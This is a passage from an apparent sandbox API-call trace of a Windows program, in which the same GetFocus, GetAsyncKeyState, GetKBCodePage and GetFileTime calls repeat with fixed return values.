lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.907] GetFocus () returned 0x0 [0024.907] GetAsyncKeyState (vKey=58) returned 0 [0024.907] GetKBCodePage () returned 0x1b5 [0024.907] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.907] GetFocus () returned 0x0 [0024.907] GetAsyncKeyState (vKey=58) returned 0 [0024.907] GetKBCodePage () returned 0x1b5 [0024.907] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.907] GetFocus () returned 0x0 [0024.907] GetAsyncKeyState (vKey=58) returned 0 [0024.907] GetKBCodePage () returned 0x1b5 [0024.907] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.907] GetFocus () returned 0x0 [0024.907] GetAsyncKeyState (vKey=58) returned 0 [0024.907] GetKBCodePage () returned 0x1b5 [0024.907] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.907] GetFocus () returned 0x0 [0024.907] GetAsyncKeyState (vKey=58) returned 0 [0024.907] GetKBCodePage () returned 0x1b5 [0024.907] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.907] GetFocus () returned 0x0 [0024.907] GetAsyncKeyState (vKey=58) returned 0 [0024.907] GetKBCodePage () returned 0x1b5 [0024.907] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.907] GetFocus () returned 0x0 [0024.907] GetAsyncKeyState (vKey=58) returned 0 [0024.907] GetKBCodePage () returned 0x1b5 [0024.907] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.907] GetFocus () returned 0x0 [0024.907] GetAsyncKeyState (vKey=58) returned 0 [0024.907] GetKBCodePage () returned 0x1b5 [0024.907] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.908] GetFocus () returned 0x0 [0024.908] GetAsyncKeyState (vKey=58) returned 0 [0024.908] GetKBCodePage () returned 0x1b5 [0024.908] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.908] GetFocus () returned 0x0 [0024.908] GetAsyncKeyState (vKey=58) returned 0 [0024.908] GetKBCodePage () returned 0x1b5 [0024.908] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.908] GetFocus () returned 0x0 [0024.908] GetAsyncKeyState (vKey=58) returned 0 [0024.908] GetKBCodePage () returned 0x1b5 [0024.908] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.908] GetFocus () returned 0x0 [0024.908] GetAsyncKeyState (vKey=58) returned 0 [0024.908] GetKBCodePage () returned 0x1b5 [0024.908] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.908] GetFocus () returned 0x0 [0024.908] GetAsyncKeyState (vKey=58) returned 0 [0024.908] GetKBCodePage () returned 0x1b5 [0024.908] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.908] GetFocus () returned 0x0 [0024.908] GetAsyncKeyState (vKey=58) returned 0 [0024.908] GetKBCodePage () returned 0x1b5 [0024.908] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.908] GetFocus () returned 0x0 [0024.908] GetAsyncKeyState (vKey=58) returned 0 [0024.908] GetKBCodePage () returned 0x1b5 [0024.908] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.908] GetFocus () returned 0x0 [0024.908] GetAsyncKeyState (vKey=58) returned 0 [0024.908] GetKBCodePage () returned 0x1b5 [0024.908] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.908] GetFocus () returned 0x0 [0024.908] GetAsyncKeyState (vKey=58) returned 0 [0024.908] GetKBCodePage () returned 0x1b5 [0024.908] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.908] GetFocus () returned 0x0 [0024.908] GetAsyncKeyState (vKey=58) returned 0 [0024.909] GetKBCodePage () returned 0x1b5 [0024.909] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.909] GetFocus () returned 0x0 [0024.909] GetAsyncKeyState (vKey=58) returned 0 [0024.909] GetKBCodePage () returned 0x1b5 [0024.909] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.909] GetFocus () returned 0x0 [0024.909] GetAsyncKeyState (vKey=58) returned 0 [0024.909] GetKBCodePage () returned 0x1b5 [0024.909] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.909] GetFocus () returned 0x0 [0024.909] GetAsyncKeyState (vKey=58) returned 0 [0024.909] GetKBCodePage () returned 0x1b5 [0024.909] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.909] GetFocus () returned 0x0 [0024.909] GetAsyncKeyState (vKey=58) returned 0 [0024.909] GetKBCodePage () returned 0x1b5 [0024.909] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.909] GetFocus () returned 0x0 [0024.909] GetAsyncKeyState (vKey=58) returned 0 [0024.909] GetKBCodePage () returned 0x1b5 [0024.909] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.909] GetFocus () returned 0x0 [0024.909] GetAsyncKeyState (vKey=58) returned 0 [0024.909] GetKBCodePage () returned 0x1b5 [0024.909] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.909] GetFocus () returned 0x0 [0024.909] GetAsyncKeyState (vKey=58) returned 0 [0024.909] GetKBCodePage () returned 0x1b5 [0024.909] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.909] GetFocus () returned 0x0 [0024.909] GetAsyncKeyState (vKey=58) returned 0 [0024.909] GetKBCodePage () returned 0x1b5 [0024.909] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.909] GetFocus () returned 0x0 [0024.909] GetAsyncKeyState (vKey=58) returned 0 [0024.909] GetKBCodePage () returned 0x1b5 [0024.909] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.909] GetFocus () returned 0x0 [0024.910] GetAsyncKeyState (vKey=58) returned 0 [0024.910] GetKBCodePage () returned 0x1b5 [0024.910] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.910] GetFocus () returned 0x0 [0024.910] GetAsyncKeyState (vKey=58) returned 0 [0024.910] GetKBCodePage () returned 0x1b5 [0024.910] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.910] GetFocus () returned 0x0 [0024.910] GetAsyncKeyState (vKey=58) returned 0 [0024.910] GetKBCodePage () returned 0x1b5 [0024.910] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.910] GetFocus () returned 0x0 [0024.910] GetAsyncKeyState (vKey=58) returned 0 [0024.910] GetKBCodePage () returned 0x1b5 [0024.910] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.910] GetFocus () returned 0x0 [0024.910] GetAsyncKeyState (vKey=58) returned 0 [0024.910] GetKBCodePage () returned 0x1b5 [0024.910] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.910] GetFocus () returned 0x0 [0024.910] GetAsyncKeyState (vKey=58) returned 0 [0024.910] GetKBCodePage () returned 0x1b5 [0024.910] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.910] GetFocus () returned 0x0 [0024.910] GetAsyncKeyState (vKey=58) returned 0 [0024.910] GetKBCodePage () returned 0x1b5 [0024.910] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.910] GetFocus () returned 0x0 [0024.910] GetAsyncKeyState (vKey=58) returned 0 [0024.910] GetKBCodePage () returned 0x1b5 [0024.910] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.910] GetFocus () returned 0x0 [0024.910] GetAsyncKeyState (vKey=58) returned 0 [0024.910] GetKBCodePage () returned 0x1b5 [0024.910] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.910] GetFocus () returned 0x0 [0024.910] GetAsyncKeyState (vKey=58) returned 0 [0024.911] GetKBCodePage () returned 0x1b5 [0024.911] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.911] GetFocus () returned 0x0 [0024.911] GetAsyncKeyState (vKey=58) returned 0 [0024.911] GetKBCodePage () returned 0x1b5 [0024.911] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.923] GetFocus () returned 0x0 [0024.923] GetAsyncKeyState (vKey=58) returned 0 [0024.923] GetKBCodePage () returned 0x1b5 [0024.923] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.923] GetFocus () returned 0x0 [0024.923] GetAsyncKeyState (vKey=58) returned 0 [0024.923] GetKBCodePage () returned 0x1b5 [0024.923] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.923] GetFocus () returned 0x0 [0024.923] GetAsyncKeyState (vKey=58) returned 0 [0024.923] GetKBCodePage () returned 0x1b5 [0024.923] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.923] GetFocus () returned 0x0 [0024.923] GetAsyncKeyState (vKey=58) returned 0 [0024.923] GetKBCodePage () returned 0x1b5 [0024.923] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.923] GetFocus () returned 0x0 [0024.923] GetAsyncKeyState (vKey=58) returned 0 [0024.923] GetKBCodePage () returned 0x1b5 [0024.923] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.923] GetFocus () returned 0x0 [0024.923] GetAsyncKeyState (vKey=58) returned 0 [0024.923] GetKBCodePage () returned 0x1b5 [0024.923] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.923] GetFocus () returned 0x0 [0024.923] GetAsyncKeyState (vKey=58) returned 0 [0024.923] GetKBCodePage () returned 0x1b5 [0024.923] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.924] GetFocus () returned 0x0 [0024.924] GetAsyncKeyState (vKey=58) returned 0 [0024.924] GetKBCodePage () returned 0x1b5 [0024.924] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.924] GetFocus () returned 0x0 [0024.924] GetAsyncKeyState (vKey=58) returned 0 [0024.924] GetKBCodePage () returned 0x1b5 [0024.924] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.924] GetFocus () returned 0x0 [0024.924] GetAsyncKeyState (vKey=58) returned 0 [0024.924] GetKBCodePage () returned 0x1b5 [0024.924] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.924] GetFocus () returned 0x0 [0024.924] GetAsyncKeyState (vKey=58) returned 0 [0024.924] GetKBCodePage () returned 0x1b5 [0024.924] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.924] GetFocus () returned 0x0 [0024.924] GetAsyncKeyState (vKey=58) returned 0 [0024.924] GetKBCodePage () returned 0x1b5 [0024.924] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.924] GetFocus () returned 0x0 [0024.924] GetAsyncKeyState (vKey=58) returned 0 [0024.924] GetKBCodePage () returned 0x1b5 [0024.924] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0024.924] GetFocus () returned 0x0 [0024.924] GetAsyncKeyState (vKey=58) returned 0 [0024.924] GetKBCodePage () returned 0x1b5 [0024.924] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), 